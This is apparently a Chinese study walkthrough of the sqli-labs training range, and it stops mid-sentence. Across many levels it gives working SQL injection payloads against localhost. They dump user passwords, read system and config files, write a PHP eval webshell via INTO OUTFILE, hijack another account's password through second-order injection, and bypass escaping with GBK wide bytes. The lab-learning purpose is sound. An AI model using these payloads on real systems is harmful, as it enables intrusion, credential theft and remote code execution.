SQL靶场过关

background1基础部分

  1. 注入分类:
  • 基于从服务器接收到的相应:
    • 基于错误的SQL注入
    • 联合查询的类型
    • 堆叠查询注射
    • SQL盲注
      • 布尔盲注
      • 时间盲注
      • 报错盲注
  • 基于如何处理输入的SQL查询(数据类型)
    • 基于字符串
    • 数字或者整数
  • 基于程度和顺序的注入
    • 一阶注射
    • 二阶注射
  • 基于注入点的位置
    • 通过用户输入的表单域
    • 通过服务器变量注射(头部信息)
  1. 基础函数:
version()——MySQL用户
user()——数据库用户
database()——数据库名
@@datadir——数据库路径
@@version_compile_os——操作系统版本
  1. 字符串连接函数

    1. concat(str1,str2,...)——没有分隔符地连接字符串
    2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
    3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据(用一下就知道了)
  2. union 操作符的介绍

UNION 操作符用于合并两个或多个SELECT 语句的结果集。请注意,UNION内部的SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条SELECT语句中的列的顺序必须相同。

SQL UNION 语法
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。
SQL UNION ALL 语法
SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2

另外,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。

  1. 注入流程

数据库——>数据表——>数据列——>数据项

  1. 名称:

在数据库中有名为:infomation_schema的数据库是用来存放和所有数据库有关的信息数据库,****

less-1

点击跳转less-1~4

首先输入:http://127.0.0.1/sqli-labs-master/Less-1/?id=1 会返回正常数据

接着在后面添加一个 ',http://127.0.0.1/sqli-labs-master/Less-1/?id=1'

接着就会报错:

同时,观察报错信息的闭合方式,(我们可以使用鼠标,点击着鼠标左键进行移动,看的清楚)

由此我们可以判断出,这里的闭合方式是 '1'',我们输入的是 1',于是要将后面的 '注释掉,不能让它有作用

于是使用 --+或者#进行注释:http://127.0.0.1/sqli-labs-master/Less-1/?id=1'--+ 返回成功

接着可以使用order by或者是union select 来判断此表由多少列和哪里能返回数据:

或者使用union select(联合查询)

从返回的数据中,我们可以知道,这里面有3列,于是我们现在要找出哪一列能返回数据,于是我们将id=1'改为 id=-1'

如果查询id正确,那么就会返回正确的值,例如上图的返回Dumb,如果错误,那么就返回空,加上我们加入了select 1,2,3--+,所以就会有返回值,返回出数值,这样就知道了在哪里能够返回数据,于是我们就在哪里构造语句。

于是知道了可以在2和3的地方进行构造:于是

爆破所有数据库名:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata
爆破我们使用的数据库名:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+
爆破我们使用的数据库的所有表
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
依次爆破所有的列名
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='referers'--+
...
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
爆破表中的信息:(以users表为例)
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(id,':',username,':',password,'\n') from users--+

less-1也就算做完了
less2:单纯的数字,没得封闭
less3:封闭:')
less4:封闭:")

background2盲注(less5-6)

函数知识预备:

left:left(string string,int num):截断返回字符串,从左返回
substr():substr(string str,int num1,int num2):截断返回字符,从num1开始,截取num2位
ascii:将字符给化为asc||码值
ORD():返回字符串首个字符的asc||码值
MID():select mid(column_name,start[,length]) from table_name:column_name:是必填字段,start:必填,是起始位置;;说白了还是一个截取字符串长度的
Cast();cast(expression as data_type):将左边的表达式,转化为as右边的数据类型
IFNULL(expression1,expression2):接受两个参数,如果experssion1不为空,返回第一个参数,否则返回第二个参数
Floor():floor(int):返回一个不大于X的值;
补充:
CEILING 函数返回大于或等于所给数字表达式的最小整数。FLOOR 函数返回小于或等于所给数字表达式的最大整数
Rnad():返回一个小于1的一个随机数:一般是floor(rand()*100);这样就是返回个100之内的随机数
Exp(num1):ln num1=num2;返回num2

基础知识预备:

在PHP执行的MySQL语句中,返回的数据是需要我们做处理才输出的;例如:我们使用了:$row=mysql_fetch_array($result);这里就是将返回的数据转化为了数组,接下来再结合echo $row['admin']类似的语句才能输出信息;

在这里的源码中:

但是,这里不会返回数据库中的信息;

Less5解题开始:

首先知道绝对正确的语句:id=1 或者是 id=1'--+

接着就在这两个绝对正确的语句中进行操作:

  1. 首先使用left(string str,int num)来对需要知道的信息来进行爆破
    (1)爆破数据库版本的版本号(8.几):
    127.0.0.1/slqi-labs-master/less-5/?id=1’ and left(version(),1)=8--+
    结果:返回:you are in…则正确;反之错误,需要慢慢测试版本号
    (2)爆破数据库名字长度:
    127.0.0.1/sqli-labs-master/Less-5/?id=1%27and%20length(database())=8--+
    结果:同上
    爆破数据库名字(因为我们已经知道了长度是多少,就慢慢爆破叭)
    说明:使用left函数,用返回的字符和我们猜测的字符来进行大小比较(慢慢猜范围)
    127.0.0.1/sqli-labs-master/Less-5/?id=1%27and%20left(database(),1)>%27r%27--+
    结果:返回you are in…:说明在猜测返回之内;反之,在范围之外或者猜测正确
    现在我们只爆破了一个,接着进行第二个字符爆破
    127.0.0.1/sqli-labs-master/Less-5/?id=1%27and%20left(database(),2)>%27sa%27--+
    结果:同上
    说明:这里的比较就像是两个数的比较,先百位在十位……
    接下来慢慢爆破……
  2. 使用substr()和ascii进行爆破表名:
    在前面的操作中,已经知道了数据库名字是security
    接着爆破表名:
    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))%3E80--+
    同:
    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+
    结果:这里我们是返回了表名的第一个字符作为asc||转化对象转化asc||码值之后来进行比较;
    说明:依旧是只是取大小来进行判断一个范围,而且还是只能一个一个进行判断;而且这里是有很多表需要判断的;
    补充:我在想有没有什么办法统计出个数,试试count(*);不得行,要不就是我的语法有问题;其实可以简单地改变limit的num用二分法来慢慢判断范围;
    接着会有:em re uag等
    (3)利用regexp获取(2)中users表中的列
    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^users' limit 0,1)--+
    结果:这样就说明有在table_name=’users’(在user表中),有一个列名以:users…开头的一个列名;select 1 from意思和select * 差不多,只是效率的问题(百度上是这么说的,但是我一旦使用
    ,就会出大问题,所以还是使用1叭);
    (4)利用ord()和mid()函数获取users表中的数据:
    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username as CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20limit%200,1),1,1))=68--+
    说明:cast(expression as datatype):将expression转化为数据类型,as是分隔符;
    0x20是null
    语句:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username as CHAR),0x20)FROM security.users ORDER BY id limit 0,1),1,1))=68--+
    这里的(1)(2)(3)(4)是对布尔盲注的所有演示,emmm,布尔盲注是注入对了就返回,错了就错误,;
    开始报错注入和延时注入
    (5)使用报错注入
    演示不了double数值,bigint类型超范围报错注入
    xpath函数报错注入
    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and extractvalue(1,concat('~',(select database()),'~'))--+

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat('~~',(select user()),'~~'),1)--+
    还有
    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat('~~',(select group_concat(username) from users),'~~'),1)--+
    (6)延时注入
    if与sleep连用(正确就无延时,不正确就延时)
    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(substr((select username from users limit 0,1),1,4)='dumb',1,sleep(5))--+(这里的dumb没法区分大小写,DUMB依然是正确的,所以用ASCII转一下)
    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(substr((select username from users limit 0,1),1,1)<'t',1,sleep(5))--+

less-6:将less-5中的 ' 换为 "

总结一下盲注:除了报错盲注(有报错信息返回)是构造出“错误”语句外,其它的都是“猜出结果”

background3导入导出相关操作讲解(less7-16)

1、load_file()导出文件
Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
使用条件:

A、必须有权限读取并且文件必须完全可读
and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。
and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权
B、欲读取文件必须在服务器上
C、必须指定文件完整的路径
D、欲读取文件必须小于 max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有administrators 才能访问的文件,users 就别想 load_file 出来。

在实际的注入中,我们有两个难点需要解决:

  • 绝对物理路径
  • 构造有效的畸形语句 (报错爆出绝对路径)

在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors = on,程序就会暴露
WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务
器的安全将受到严重的威胁。
常用路径:
http://www.cnblogs.com/lcamry/p/5729087.html

示例:

  • Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109)))
    利用 hex()将文件内容导出来,尤其是 smb 文件时可以使用。
  • -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
    Explain:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码
  • -1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
    Explain:“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”
  • -1 union select 1,1,1,load_file(c:\boot.ini)
    Explain:路径里的/用 \代替

2、文件导入到数据库
LOAD DATA INFILE 语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串。
在注入过程中,我们往往需要一些特殊的文件,比如配置文件,密码文件等。当你具有数据库的权限时,可以将系统文件利用 load data infile 导入到数据库中。

函数具体介绍:对于参数介绍这里就不过多的赘述了,可以参考 mysql 的文档。(提醒:参
考文档才是最佳的学习资料)
示例:load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'
将/tmp/t0.txt 导入到 t0 表中,character set gbk 是字符集设置为 gbk,fields terminated by 是
每一项数据之间的分隔符,lines terminated by 是行的结尾符。
当错误代码是 2 的时候的时候,文件不存在,错误代码为 13 的时候是没有权限,可以考虑
/tmp 等文件夹。

  • TIPS:我们从 mysql5.7 的文档看到添加了 load xml 函数,是否依旧能够用来做注入还需要验
    证。

3、导入到文件
SELECT.....INTO OUTFILE 'file_name' 可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE权限,才能使用此语法。file_name 不能是一个已经存在的文件。
我们一般有两种利用形式:

第一种直接将 select 内容导入到文件中:
Select version() into outfile "c:\phpnow\htdocs\test.php" 此处将 version()替换成一句话,也即
Select into outfile “c:\phpnow\htdocs\test.php” 直接连接一句话就可以了,其实在 select 内容中不仅仅是可以上传一句话的,也可以上传很
多的内容。
第二种修改文件结尾:
Select version() Into outfile “c:\phpnow\htdocs\test.php” LINES TERMINATED BY 0x16 进制文

解释:通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。同时可以用 FIELDS
TERMINATED BY
16 进制可以为一句话或者其他任何的代码,可自行构造。在 sqlmap 中 os-shell 采取的就是
这样的方式,具体可参考 os-shell 分析文章:http://www.cnblogs.com/lcamry/p/5505110.html

  • TIPS:
    (1)可能在文件路径当中要注意转义,这个要看具体的环境
    (2)上述我们提到了 load_file(),但是当前台无法导出数据的时候,我们可以利用下面的语
    句:
    select load_file(‘c:\wamp\bin\mysql\mysql5.6.17\my.ini’)into outfile
    ‘c:\wamp\www\test.php’ 可以利用该语句将服务器当中的内容导入到 web 服务器下的目录,这样就可以得到数据了。

上述 my.ini 当中存在 password 项(不过默认被注释),当然会有很多的内容可以被导出来,
这个要平时积累。

less-7

使用文件导入的方式,将信息写入文件,(没有就创建一个),不过不能够修改
http://127.0.0.1/sqli-labs-master/Less-7/?id=3')) union select 1,2,group_concat(username) from users into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\uuu.txt"--+
还可以整一个一句话木马进去
http://127.0.0.1/sqli-labs-master/Less-7/?id=3')) union select 1,2,"<?php @eval($_REQUEST['cmd']);?>" into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\yijuhua.php"--+

一句话木马用蚁剑连接:

less-8

很容易发现,封闭方式是:id=1'--+,并且还是盲注,

不过,和less-5的区别是:less-5中能够返回报错信息(mysql_error错误信息),但是less-8不能,所以我们就不能够使用报错注入,于是less-8就使用布尔盲注或者是延时注入即可

这里就请看less-5,点一下就调回去

less-9

题目要求我们使用时间盲注,额,看less-5的延时注入即可

less-10

less-9的单引号改为双引号即可

less-11

我们使用post传递参数到后台之后,所有的表单数据都会被接收。很明显username和password是可定会被用来使用查询数据库信息的。后台中,不管传过去的信息怎么被接受,我们只需要考虑数据信息怎么被修改或者被使用即可。这里的靶场就是简单的PHP文件,而且没有使用框架,所以漏洞还是比较好找,如果是遇到一些框架,那就要看框架了。回归本题:

为了方便讲解,就直接上代码(也是为了以后自己看的时候能看清楚):

当我们传入的uername为:admin‘#那么整个语句就会变为@$sql="SELECT username, password FROM users WHERE username='amdin'#' and password='$passwd' LIMIT 0,1";所以只要闭合方式是正确的,那么password即不起作用了,我们在前台输入password的时候就能够随便写一个就行,甚至可以不写(没有表单验证的话)

先找到闭合方式(一个一个试),接着:

测试出有多少个列
username:admin' union select 1,2,3#
password:随便写,也可以不写,最好是写一下,免得是password的注入
结果:The used SELECT statements have a different number of columns:列数错误,多半是超范围了

将1,2,3改为1,2
username:admin' union select 1,2#
password:随便写,也可以不写,最好是写一下,免得是password的注入
结果:返回用户名为admin的第一个密码

爆数据库:
username:aadmin' union select 1,database()#
password:随便写,也可以不写,最好是写一下,免得是password的注入
结果:返回1和数据库名

爆数据库数据:
username:aadmin' union select 1,group_concat(username,'==>',password,'\n') from users #
password:随便写,也可以不写,最好是写一下,免得是password的注入
结果:数据库数据了

less-12

username:admin
password:随便输
结果:无结果

username:admin'
password:随便写
结果:无结果

username:admin"
password:随便写
结果:near 'tset") LIMIT 0,1' at==>猜得出来:可能封闭是("")

username:admin")
password:随便写
结果: near '") and password=("123") LIMIT==>也就知道封闭没啥问题了,在admin")后面加上#就ok

username:aadmin") union select 1,group_concat(username,'==>',password,'\n') from users#
password:随便写
结果:数据库值

使用hackbar:

我们先查看了username和password输入框的前台的name属性,然后打开hackbar,勾上post
uname=aadmin") union select 1,group_concat(username,':',password)from users#&passwd=123&Submit=submit

less-13

这个题目是盲注,猜出了封闭,然后使用导出文件的方式,将数据导入到文件中也行,这样也就不用一直猜了

uname=aadmin') union select 1,group_concat(schema_name)from information_schema.schemata into outfile"D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-13\\schema_name.txt" #&passwd=123&Submit=submit

uname=aadmin') union select 1,group_concat(username,':',password)from users into outfile"D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-13\\hululu.txt" #&passwd=123&Submit=submit

同样也能够使用报错注入

uname=aadmin') union select 1,extractvalue(1,concat('~',(select group_concat(schema_name) from information_schema.schemata),'~'))#&passwd=123&Submit=submit

less-14

封闭方式为:uname=admin"

less-15

封闭方式为:uname=admin' 没有报错信息,所以只能猜了,或者参考一下less-13

less-16

封闭方式为:uname=admin")

background4 增删查改函数(less17)

  • 增加
    • insert into users values('16','lcamry','lcamry');
  • 删除
    • 删除数据
      • delete form 表名
      • delete form 表名 where id=1
    • 删除结果
      • 删除数据库:drop database 数据库名
      • 删除表:drop table 表名
      • 删除列 alter table 表名 drop column 列名
  • 修改
    • 修改所有:updata 表名 set 列名='新的值,非数字加单引号' ;
    • 带条件的修改:updata 表名 set 列名='新的值,非数字加单引号' where id=6;

less-17:

看到这个题,自然是想都不想的就打开了源代码[狗头保命]

嗷,原来是要将原来的一个user的password改了

这个题目是对password进行注入,因为代码对username进行了处理,然后使用盲注的方式即可

本来想用导入文件的方式来做这个,发现做不出来,所以还是就老老实实盲注了

在利用抓包工具进行抓包的时候,我们能看到很多的项,下面详细讲解每一项。

background5 HTTP 头部详解

1、 Accept:告诉 WEB 服务器自己接受什么介质类型,/ 表示任何类型,type/* 表示该类型下的所有子类型,type/sub-type。
2、 Accept-Charset: 浏览器申明自己接收的字符集Mysql 注入---sqlilabs---lcamryAccept-Encoding: 浏览器申明自己接收的编码方法,通常指定压缩方法,是否支持压缩,支持什么压缩方法(gzip,deflate)Accept-Language::浏览器申明自己接收的语言语言跟字符集的区别:中文是语言,中文有多种字符集,比如 big5,gb2312,gbk 等等。
3、 Accept-Ranges:WEB 服务器表明自己是否接受获取其某个实体的一部分(比如文件的一部分)的请求。bytes:表示接受,none:表示不接受。
4、 Age:当代理服务器用自己缓存的实体去响应请求时,用该头部表明该实体从产生到现在经过多长时间了。
5、 Authorization:当客户端接收到来自 WEB 服务器的 WWW-Authenticate 响应时,用该头部来回应自己的身份验证信息给 WEB 服务器。
6、 Cache-Control:请求:no-cache(不要缓存的实体,要求现在从 WEB 服务器去取)
max-age:(只接受 Age 值小于 max-age 值,并且没有过期的对象)
max-stale:(可以接受过去的对象,但是过期时间必须小于 max-stale 值)
min-fresh:(接受其新鲜生命期大于其当前 Age 跟 min-fresh 值之和的缓存对象)响应:public(可以用 Cached 内容回应任何用户)private(只能用缓存内容回应先前请求该内容的那个用户)no-cache(可以缓存,但是只有在跟 WEB 服务器验证了其有效后,才能返回给客户端)max-age:(本响应包含的对象的过期时间)ALL: no-store(不允许缓存)
7、 Connection:请求:close(告诉 WEB 服务器或者代理服务器,在完成本次请求的响应后,断开连接,不要等待本次连接的后续请求了)。keepalive(告诉 WEB 服务器或者代理服务器,在完成本次请求的响应后,保持连接,等待本次连接的后续请求)。响应:close(连接已经关闭)。keepalive(连接保持着,在等待本次连接的后续请求)。Keep-Alive:如果浏览器请求保持连接,则该头部表明希望 WEB 服务器保持连接多长时间(秒)。例如:Keep-Alive:300
8、 Content-Encoding:WEB 服务器表明自己使用了什么压缩方法(gzip,deflate)压缩响应中的对象。例如:Content-Encoding:gzip
9、Content-Language:WEB 服务器告诉浏览器自己响应的对象的语言。
10、Content-Length:WEB 服务器告诉浏览器自己响应的对象的长度。例如:Content-Length:26012
11、Content-Range: WEB 服务器表明该响应包含的部分对象为整个对象的哪个部分。例如:Content-Range: bytes 21010-47021/47022
12、Content-Type: WEB 服务器告诉浏览器自己响应的对象的类型。例如:Content-Type:application/xml
13、 ETag:就是一个对象(比如 URL)的标志值,就一个对象而言,比如一个 html 文件,如果被修改了,其 Etag 也会别修改,所以 ETag 的作用跟 Last-Modified 的作用差不多,主要供 WEB 服务器判断一个对象是否改变了。比如前一次请求某个 html 文件时,获得了其ETag,当这次又请求这个文件时,浏览器就会把先前获得的 ETag 值发送给 WEB 服务器,然后 WEB 服务器会把这个 ETag 跟该文件的当前 ETag 进行对比,然后就知道这个文件有没有改变了。
14、 Expired:WEB 服务器表明该实体将在什么时候过期,对于过期了的对象,只有在跟WEB 服务器验证了其有效性后,才能用来响应客户请求。是 HTTP/1.0 的头部。例如:Expires:Mysql 注入---sqlilabs---lcamrySat, 23 May 2009 10:02:12 GMT
15、 Host:客户端指定自己想访问的 WEB 服务器的域名/IP 地址和端口号。例如:Host:rss.sina.com.cn
16、 If-Match:如果对象的 ETag 没有改变,其实也就意味著对象没有改变,才执行请求的动作。
17、If-None-Match:如果对象的 ETag 改变了,其实也就意味著对象也改变了,才执行请求的动作。
18、 If-Modified-Since:如果请求的对象在该头部指定的时间之后修改了,才执行请求的动作(比如返回对象),否则返回代码 304,告诉浏览器 该对象没有修改。例如:If-Modified-Since:Thu, 10 Apr 2008 09:14:42 GMT
19、If-Unmodified-Since:如果请求的对象在该头部指定的时间之后没修改过,才执行请求的动作(比如返回对象)。
20、 If-Range:浏览器告诉 WEB 服务器,如果我请求的对象没有改变,就把我缺少的部分给我,如果对象改变了,就把整个对象给我。浏览器通过发送请求对象的 ETag 或者 自己所知道的最后修改时间给 WEB 服务器,让其判断对象是否改变了。总是跟 Range 头部一起使用。
21、 Last-Modified:WEB 服务器认为对象的最后修改时间,比如文件的最后修改时间,动态页面的最后产生时间等等。例如:Last-Modified:Tue, 06 May 2008 02:42:43 GMT
22、 Location:WEB 服务器告诉浏览器,试图访问的对象已经被移到别的位置了,到该头部 指 定 的 位 置 去 取 。 例 如 : Location : http://i0.sinaimg.cn/dy/deco/2008/0528/sinahome_0803_ws_005_text_0.gif
23、 Pramga:主要使用 Pramga: no-cache,相当于 Cache-Control: no-cache。例如:Pragma:no-cache
24、 Proxy-Authenticate: 代理服务器响应浏览器,要求其提供代理身份验证信息。Proxy-Authorization:浏览器响应代理服务器的身份验证请求,提供自己的身份信息。
25、 Range:浏览器(比如 Flashget 多线程下载时)告诉 WEB 服务器自己想取对象的哪部分。例如:Range: bytes=1173546- 26、 Referer:浏览器向 WEB 服务器表明自己是从哪个 网页/URL 获得点击 当前请求中的网址/URL。例如:Referer:http://www.sina.com/
27、 Server: WEB 服务器表明自己是什么软件及版本等信息。例如:Server:Apache/2.0.61(Unix)
28、 User-Agent: 浏览器表明自己的身份(是哪种浏览器)。例如:User-Agent:Mozilla/5.0(Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.14) Gecko/20080404 Firefox/2、0、0、14
29、 Transfer-Encoding: WEB 服务器表明自己对本响应消息体(不是消息体里面的对象)作了怎样的编码,比如是否分块(chunked)。例如:Transfer-Encoding: chunked
30、 Vary: WEB 服务器用该头部的内容告诉 Cache 服务器,在什么条件下才能用本响应所返回的对象响应后续的请求。假如源 WEB 服务器在接到第一个请求消息时,其响应消息的头部为:Content- Encoding: gzip; Vary: Content-Encoding 那么 Cache 服务器会分析后续请求消息的头部,检查其 Accept-Encoding,是否跟先前响应的 Vary 头部值一致,即是否使用相同的内容编码方法,这样就可以防止 Cache 服务器用自己 Cache 里面压缩后的实体响应给不具备解压能力的浏览器。例如:Vary:Accept-Encoding
31、 Via: 列出从客户端到 OCS 或者相反方向的响应经过了哪些代理服务器,他们用什么协议(和版本)发送的请求。当客户端请求到达第一个代理服务器时,该服务器会在自己发出的请求里面添 加 Via 头部,并填上自己的相关信息,当下一个代理服务器收到第一个代Mysql 注入---sqlilabs---lcamry49理服务器的请求时,会在自己发出的请求里面复制前一个代理服务器的请求的 Via 头部,并把自己的相关信息加到后面,以此类推,当 OCS 收到最后一个代理服务器的请求时,检查Via 头部,就知道该请求所经过的路由。例如:Via:1.0 236.D0707195.sina.com.cn:80(squid/2.6.STABLE13)

less-18

palyload构造

http://127.0.0.1/sqli-labs-master/Less-18
uname=admin1&passwd=1&submit=Submit   
ddd' and extractvalue(1,concat('~',(select schema_name from information_schema.schemata),'~')) and '1'='1

在less-18的源码中,有$uagent=$_SERVER['HTTP_USER_AGENT']$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";,于是我们可以在这个地方抓包或者是使用其他方式修改user-agent.

less-19

修改Referer,和useragent一样的构造

less-20

cookie 从 username 中获得值后,当再次刷新时,会从 cookie 中读取 username,然后进行查询。

登录成功后,我们修改 cookie,再次刷新时,这时候 sql 语句就会被修改了。

构造payload

cookie:uname=admin1' and extractvalue(1,concat('~~',(select database()),'~~'))#

less-21

对构造的cookie的payload进行base64加密

less-22

对构造的cookie的payload进行base64加密+将单引号改为双引号

第二部分 advancedinjection

less-23

这里对 --+# 做了过滤,所以这里要使用 '来进行闭合

payload如下:

http://127.0.0.1/sqli-labs-master/Less-23/?id=-1' union select  1,2,'3

http://127.0.0.1/sqli-labs-master/Less-23/?id=-1' union select  1,(select group_concat(username,'==>',password) from users),'3

less-24

二次排序注入思路:

  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。
  2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
  4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服务端环境中执行。
  5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。

此例子中我们的步骤是注册一个 admin'#的账号,接下来登录该帐号后进行修改密码。此时修改的就是admin'#的密码。
Sql 语句变为 UPDATE users SET passwd="New_Pass" WHERE username ='admin'#' AND password=',就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'

这个题相当于是修改别人的密码,加入别人的账号为user,那么我们就创建一个账号,账号为:user'#,密码随便写,记得住,能登录我们创建的账号user'#就行
接着我们登录user'#账号,开始修改密码,
由于我们的账号名称为user'#,在修改密码时,修改就会将账号user的密码改了,SQL语句为:
UPDATE users SET passwd="New_Pass" WHERE username ='admin'#' AND password='123456',
实际执行的是:
UPDATE users SET passwd="New_Pass" WHERE username ='admin'#',(后面的被注释了)

less-25

要求:绕过 or 和 and

  • 思路:
    • 大小写变形:OR oR Or
    • 编码:hex urlencode
    • 添加注释:/or/
    • 符号:or>|| and>&&

演示报错

http://127.0.0.1/sqli-labs-master/Less-25?id=1' || extractvalue(1,concat('~~',(select database()),'~~'))--+

less-25a

不能报错注入,可以使用联合注入(union)和延时注入

background6 服务器(两层架构)(less29-31)

less-29~31是Tomcat服务器的注入

less-29

http://127.0.0.1/sqli-labs-maste/index.jsp?id=1&id=-2' union select 1,user(),3--+

less-30

闭合方式为双引号

less-31

闭合方式为:("")

background7 宽字节注入 (less32-37)

原理:MySQL在进行GBK编码的时候,会认为两个字符为一个汉字,例如:%aa%5c就是一个汉字(前一个ASCII码大于128(hx80)才能到汉字的范围)。我们在过过滤 ' 的时候,往往利用的思路是将 ' 转化为 \'

  • 1:%df吃掉 \具体原因是unrencode(')=%5c%27,我们在%5c%27前面添加%df,形成了%df%5c%27,此前提到MySQL在GBK编码方式的时候会出现将两个字节当做一个汉字来处理,此时,%df%5c就会被当做一个汉字,%27则作为一个单独的符号在外面,这样就达到了我们想要的目的;
  • 2:将 \'中的 \过滤掉,例如可以构造%**%5c%27的情况,后面的%5c则会被前面的%5c给注释掉,这也是bypass的一种方式。(%5c进行url解码是 \)

Less-32:

此题中:
我们先看代码发现

这里将所有的 ' \' \"都在前面加了一个 \,这样,我们按照最开始的注入:

?id=-2' union select 1,user(),3--+

就会变成这样:

?id=-2\' union select 1,user(),3--+

根据原理中讲的,在MySQL中的编码方式为gbk编码,gbk编码将两个字节看做一个汉字(第一个字节必须是大于等于%81才行),所以我们在这里进行其他的修改:

我们在'前面加上一个%81

?id=-2%89' union select 1,user(),3--+

在PHP中执行为:

首先在'前加上一个\,构造成为\'
$sql="SELECT * FROM users WHERE id='?id=-2%89\' union select 1,user(),3--+' LIMIT 0,1";
gbk编码,将%89\看做一个字符,于是'就逃逸出来了。

Less-33:GET-bypass addslashes()

函数:

  • addslshes():功能:在特殊字符前加上反斜杠;

    思路:和Less-32相同,使用%df过滤即可(大于%81都可以)

Less-34:POST-bypass AddSlashes()

本关是post型注入漏洞,同样是将post过来的内容进行'\处理。由上两个例子可知道,我们是使用%89将添加的\给合并为一个汉字。而get型的方式是通过URL形式提交的,因此数据会通过URLencode;《天书》使用新方法。将utf-8转化为utf-16或者utf-32,例如将'转为utf-16为�'。
我们这里就使用这种方式。
我这里是hackbar工具传输post有点问题,会在%27的%和27之间添加25,所以造成了奇怪的错误;

请移步pass-34

Less-35:Get-Bypass Add Slashes(we dont need them)intger based

额,题目意思是,直接注入就行,没有'或者是"的封闭。

Less-36:GET-Bypass MySql_real_escape_string

mysql_real_escape_string():
功能:转义SQL语句中使用的字符串的中的特殊字符。
影响:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a
    如果转义成功则返回被转义的字符串。如果失败,则返回false。

这里依旧可以使用%df进行突破。

Less-37:POST-Bypass MySql_real_escape_string

这里还是请参见less-34

总结:
MySQL使用gbk编码,宽字节是针对于gbk编码的利用。
汉字编码在gbk中是两个字符表示的,所以使用%81%5cgbk就会识别为一个汉字,从而将%5c给编码,在利用中,我们输入%df在'之前,由于代码又会在'之前添加\,形成了%df\',此时gbk会将%df\看做一个字符,从而使'逃逸出来,而能够进行注入操作。

background8 stacked injection(less38-45)

stacked injection:堆叠注入。从名字可以看出来,这应该是一堆SQL语句(多余)一起执行。而真实运行中也是这样的,我们知道,在MySQL中,主要是命令行中,每一条语句结尾加 ;表示结束。这样我们就型道路多条语句一起使用。

1:原理

在SQL中,分号;表示一条SQL语句的结束。试想,当;结束一个语句后,继续构造下一条语句,会不会一起执行?因此也就有了堆叠注入。而union injection(联合注入)也是将两句话合并到一起。这是有区别的,区别是:union或者union all执行的语句类型是有限的。而堆叠注入可以执行的是任何语句。
例如:

